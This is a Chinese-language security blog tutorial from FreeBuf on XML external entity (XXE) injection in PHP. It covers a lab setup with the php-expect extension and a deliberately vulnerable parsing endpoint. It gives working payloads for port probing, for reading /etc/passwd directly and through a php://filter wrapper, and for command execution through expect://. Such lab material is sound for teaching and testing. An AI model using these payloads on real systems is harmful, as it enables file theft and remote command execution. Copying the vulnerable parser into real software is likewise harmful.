freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP 环境 XML 外部实体注入漏洞从环境搭建到实操
2023-10-11 21:46:43

XML 介绍:

XML 语言全称为可扩展标记语言,与 HTML 超文本标签语言类似,而这两个的区别在于作用与使用方法:HTML,主要用来显示数据,而 XML 主要用于传输和存储数据.HTML 的使用方法有固定的格式,即只能使用自带的标签,而 XML 则是使用自定义标签.

XML 外部实体注入漏洞原理:

XXE 外部实体注入漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,从而导致会加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起 Dos 攻击等危害。

XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml文件。

XML 外部实体注入漏洞环境搭建:

环境安装:系统为 CentOs7

  1. yum install expect

//安装操作系统 expect

  1. yum install php-devel //安装 PHP 开发所需文件的软件包
  2. yum install tcl //安装 tcl
  3. yum install tcl tcl-devel

//安装 tcl 软件包以及相应的开发文件

  1. yum install expect expect-devel

//安装 expect 软件包以及相应的开发文档

  1. 上传 php-expect 扩展包,下载地址:https://github.com/spektom/php-expect
  2. 执行以下代码进行编译安装

phpize

./configure

make

make install

  1. 修改配置文件,添加以下内容

extension=expect.so(配置文件所在地址:/etc/php.ini)

  1. 重启服务器

systemctl restart httpd

10 检测是否安装成功

进入/var/www/html 目录当中,创建一个 php 文件(文件名自取),在该文件当中写入<?php phpinfo()?>

然后去访问该虚拟机的 IP 地址下的该 php 文件,即 http://该虚拟机 ip 地址/该 php 文件即可.成功后出现如下页面当出现该页面后。

1697030670_6526a20ed723f811ccb00.png!small

ctrl+F 搜索 expect,出现如下页面,即显示环境搭建成功,进而可以开始实验。

1697030788_6526a284ab1307094d2ff.png!small

实验步骤:

1.进入到/var/www/html 中,创建任意一个 php 文件(文件名自取),在其中输入以下代码。

<?php

header("content-type:text/html;charset=utf-8");

date_default_timezone_set("PRC");

$data = file_get_contents('php://input');

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

echo date('Y-m-d H:i:s',time())."\n\r";

echo $xml;

?>

1697030827_6526a2ab0be868b735e18.png!small

2. 去访问该文件(访问地址为 http://该虚拟机 ip 地址/该 php 文件),同时使用 Burp Suite 进行抓包,将

抓到的包放到重放模块(Repeater),然后进行实验.

1697030841_6526a2b99a77d99e29d63.png!small

  1. 进行实验,将你的 xml 代码放入到该页面当中,然后发送,即可看见效果.注意:你的 xml 代码一定不要与

该包数据紧挨着,有可能会造成 xml 代码无法解析.最好空一行再输入 xml 代码,如图:

1697030890_6526a2ea189d5c3e6301b.png!small

端口检测:

这个实验效果不建议使用该方法进行,因为端口开启与关闭的效果差别不明显

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note[

<!ENTITY xxe SYSTEM "http://192.168.235.128:80">

]>

<note>&xxe;</note>

1697030907_6526a2fb41f8dfbb82863.png!small

文件读取:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "file:////etc/passwd"> ]>

<abc>&xxe;</abc>

1697030940_6526a31c590fdbee5fda4.png!small

php 伪协议文件读取:

<?xml version="1.0"?>

<!DOCTYPE

abc

[

<!ENTITY

xxe

SYSTEM

"php://filter/convert.base64-encode/resource=/etc/passwd" > ]>

<abc>&xxe;</abc>

1697030960_6526a330a49cc30d0c0a2.png!small

命令执行:

<?xml version="1.0"?>

<!DOCTYPE abc [ <!ENTITY xxe SYSTEM "expect://pwd " > ]>

<abc>&xxe;</abc>

1697030976_6526a34060fa11ab73f54.png!small

但注意,我们所登录的用户是 apache,它所拥有的权限有限制,大多数操作无法进行,例如创建文件等.

1697030991_6526a34f1909923bdbdf2.png!small

# 漏洞 # 黑客 # 网络安全 # 系统安全 # 数据安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录